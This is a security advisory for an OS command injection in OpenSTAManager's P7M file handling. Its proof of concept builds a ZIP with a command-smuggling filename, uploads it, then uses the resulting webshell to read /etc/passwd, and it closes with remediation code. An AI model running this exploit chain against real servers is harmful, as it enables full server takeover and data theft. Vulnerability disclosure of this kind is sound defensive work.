GHSA-25fp-8w8p-mx36 OpenSTAManager has an OS Command Injection in P7M File Processing

• Packagist devcode-it/openstamanager: <= 2.9.8 (no fix yet)

Summary A critical OS Command Injection vulnerability exists in the P7M (signed XML) file decoding functionality. An authenticated attacker can upload a ZIP file containing a .p7m file with a malicious filename to execute arbitrary system commands on the server. Vulnerable Code File: `src/Util/XML.php:100` ```php public static function decodeP7M($file) { $directory = pathinfo($file, PATHINFO_DIRNAME); $content = file_get_contents($file); $output_file = $directory.'/'.basename($file, '.p7m'); try { if (function_exists('exec')) { // VULNERABLE - No input sanitization! exec('openssl smime -verify -noverify -in "'.$file.'" -inform DER -out "'.$output_file.'"', $output, $cmd); ``` The Problem: • The `$file` parameter is passed directly into `exec()` without sanitization • Although wrapped in double quotes, an attacker can escape them • The filename comes from uploaded ZIP archives (user-controlled) Attack Vector Entry Points: 1. plugins/importFE_ZIP/actions.php:126 (when automatic import is enabled) ```php foreach ($files_xml as $xml) { if (string_ends_with($xml, '.p7m')) { $file = XML::decodeP7M($directory.'/'.$xml); // $xml from ZIP! ``` 2. plugins/importFE/src/FatturaElettronica.php:56 (constructor) ```php if (string_ends_with($name, '.p7m')) { $file = XML::decodeP7M($this->file); // $name from user input! ``` Attack Flow: 1. Attacker creates ZIP with malicious filename 2. Upload ZIP via importFE_ZIP plugin 3. Application extracts ZIP and iterates files 4. For `.p7m` files, `decodeP7M()` is called 5. Malicious filename is injected into `exec()` command 6. Arbitrary command executes as web server user Proof of Concept ⚠️ IMPORTANT NOTE: PHP's `ZipArchive::extractTo()` splits filenames on `/` character. Payload must NOT contain `/` in commands. Use `cd directory && command` instead of absolute paths. Step 1: Create Malicious ZIP ```python import zipfile cmd = "cd files && echo '' > SHELL.php" malicious_filename = f'invoice.p7m";{cmd};echo ".p7m' with zipfile.ZipFile('exploit.zip', 'w') as zf: zf.writestr(malicious_filename, b"DUMMY_P7M_CONTENT") ``` Step 2: Upload ZIP ```http POST /actions.php HTTP/1.1 Host: localhost:8081 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBKunENXxjEx5VrRc Cookie: PHPSESSID=10fcc3c3cdccf2466ada216d5839084b ------WebKitFormBoundaryBKunENXxjEx5VrRc Content-Disposition: form-data; name="blob1"; filename="exploit.zip" Content-Type: application/zip [ZIP CONTENT] ------WebKitFormBoundaryBKunENXxjEx5VrRc-- Content-Disposition: form-data; name="op" save ------WebKitFormBoundaryBKunENXxjEx5VrRc Content-Disposition: form-data; name="id_module" 14 ------WebKitFormBoundaryBKunENXxjEx5VrRc Content-Disposition: form-data; name="id_plugin" 48 ------WebKitFormBoundaryBKunENXxjEx5VrRc-- ``` Step 3: Exploitation Result Response (500 error is expected - XML parsing fails AFTER command execution): ```http HTTP/1.1 500 Internal Server Error {"error":{"type":"Exception","message":"Start tag expected, ' Step 4: Remote Code Execution Webshell is publicly accessible without authentication: ```bash $ curl "http://localhost:8081/files/SHELL.php?c=id" uid=33(www-data) gid=33(www-data) groups=33(www-data) $ curl "http://localhost:8081/files/SHELL.php?c=cat+/etc/passwd" [Full /etc/passwd output] ``` Impact • Remote Code Execution: Full server compromise • Data Exfiltration: Access to all application data and database • Privilege Escalation: Potential escalation if web server runs with elevated privileges • Persistence: Install backdoors and maintain access • Lateral Movement: Pivot to other systems on the network Prerequisites • Authenticated user with access to invoice import functionality Remediation Input Sanitization ```php public static function decodeP7M($file) { // Validate that file path doesn't contain shell metacharacters if (preg_match('/[;&|`$(){}\\[\\]<>]/', $file)) { throw new \Exception('Invalid file path'); } // Better: use escapeshellarg() $safe_file = escapeshellarg($file); $safe_output = escapeshellarg($output_file); exec("openssl smime -verify -noverify -in $safe_file -inform DER -out $safe_output", $output, $cmd); } ``` or Validate Filename Before Processing ```php // In the upload handler, validate filenames from ZIP foreach ($files_xml as $xml) { // Only allow alphanumeric, dots, dashes, underscores if (!preg_match('/^[a-zA-Z0-9._-]+$/', $xml)) { continue; // Skip invalid filenames } if (string_ends_with($xml, '.p7m')) { $file = XML::decodeP7M($directory.'/'.$xml); } } ``` Credit Discovered by: Łukasz Rybak